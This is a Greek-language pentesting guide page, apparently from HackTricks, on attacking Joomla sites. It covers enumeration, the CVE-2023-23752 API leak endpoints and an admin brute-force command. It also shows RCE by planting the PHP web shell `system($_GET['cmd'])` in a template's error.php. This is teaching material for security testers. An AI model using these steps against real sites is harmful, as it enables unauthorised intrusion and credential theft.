113 lines
5.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Joomla
{{#include ../../banners/hacktricks-training.md}}
### Στατιστικά Joomla
Το Joomla συλλέγει ορισμένα ανώνυμα [στατιστικά χρήσης](https://developer.joomla.org/about/stats.html) όπως η κατανομή των εκδόσεων Joomla, PHP και βάσεων δεδομένων και των λειτουργικών συστημάτων διακομιστών που χρησιμοποιούνται σε εγκαταστάσεις Joomla. Αυτά τα δεδομένα μπορούν να ανακτηθούν μέσω του δημόσιου [API](https://developer.joomla.org/about/stats/api.html).
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}
```
## Enumeration
### Discovery/Footprinting
- Έλεγχος του **meta**
```bash
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
```
- robots.txt
```
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
```
- README.txt
```
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```
### Έκδοση
- Στο **/administrator/manifests/files/joomla.xml** μπορείτε να δείτε την έκδοση.
- Στο **/language/en-GB/en-GB.xml** μπορείτε να αποκτήσετε την έκδοση του Joomla.
- Στο **plugins/system/cache/cache.xml** μπορείτε να δείτε μια περίπου έκδοση.
### Αυτόματη
```bash
droopescan scan joomla --url http://joomla-site.local/
```
In[ **80,443 - Η Μεθοδολογία Pentesting Web είναι μια ενότητα σχετικά με τους σαρωτές CMS**](#cms-scanners) που μπορούν να σαρώσουν το Joomla.
### API Μη Αυθεντικοποιημένη Αποκάλυψη Πληροφοριών:
Οι εκδόσεις από 4.0.0 έως 4.2.7 είναι ευάλωτες σε μη αυθεντικοποιημένη αποκάλυψη πληροφοριών (CVE-2023-23752) που θα εκθέσει διαπιστευτήρια και άλλες πληροφορίες.
- Χρήστες: `http://<host>/api/v1/users?public=true`
- Αρχείο Ρυθμίσεων: `http://<host>/api/index.php/v1/config/application?public=true`
**MSF Module**: `scanner/http/joomla_api_improper_access_checks` ή ruby script: [51334](https://www.exploit-db.com/exploits/51334)
### Brute-Force
Μπορείτε να χρησιμοποιήσετε αυτό το [script](https://github.com/ajnik/joomla-bruteforce) για να προσπαθήσετε να κάνετε brute force την είσοδο.
```shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
admin:admin
```
## RCE
Αν καταφέρατε να αποκτήσετε **διαπιστευτήρια διαχειριστή**, μπορείτε να **RCE μέσα σε αυτό** προσθέτοντας ένα κομμάτι **PHP κώδικα** για να αποκτήσετε **RCE**. Μπορούμε να το κάνουμε αυτό **προσαρμόζοντας** ένα **θέμα**.
1. **Κάντε κλικ** στο **`Templates`** στο κάτω αριστερό μέρος κάτω από `Configuration` για να εμφανιστεί το μενού θεμάτων.
2. **Κάντε κλικ** σε ένα όνομα **θέματος**. Ας επιλέξουμε το **`protostar`** κάτω από την κεφαλίδα στήλης `Template`. Αυτό θα μας φέρει στη σελίδα **`Templates: Customise`**.
3. Τέλος, μπορείτε να κάνετε κλικ σε μια σελίδα για να εμφανίσετε την **πηγή της σελίδας**. Ας επιλέξουμε τη σελίδα **`error.php`**. Θα προσθέσουμε μια **PHP one-liner για να αποκτήσουμε εκτέλεση κώδικα** ως εξής:
1. **`system($_GET['cmd']);`**
4. **Αποθήκευση & Κλείσιμο**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
## Από XSS σε RCE
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Σενάριο εκμετάλλευσης Joomla που **ανεβάζει XSS σε RCE ή άλλες κρίσιμες ευπάθειες**. Για περισσότερες πληροφορίες δείτε [**αυτή την ανάρτηση**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Παρέχει **υποστήριξη για εκδόσεις Joomla 5.X.X, 4.X.X και 3.X.X, και επιτρέπει:**
- _**Αύξηση Δικαιωμάτων:**_ Δημιουργεί έναν χρήστη στο Joomla.
- _**(RCE) Επεξεργασία Ενσωματωμένων Θεμάτων:**_ Επεξεργασία Ενσωματωμένων Θεμάτων στο Joomla.
- _**(Custom) Προσαρμοσμένες Εκμεταλλεύσεις:**_ Προσαρμοσμένες εκμεταλλεύσεις για τρίτους πρόσθετους Joomla.
{{#include ../../banners/hacktricks-training.md}}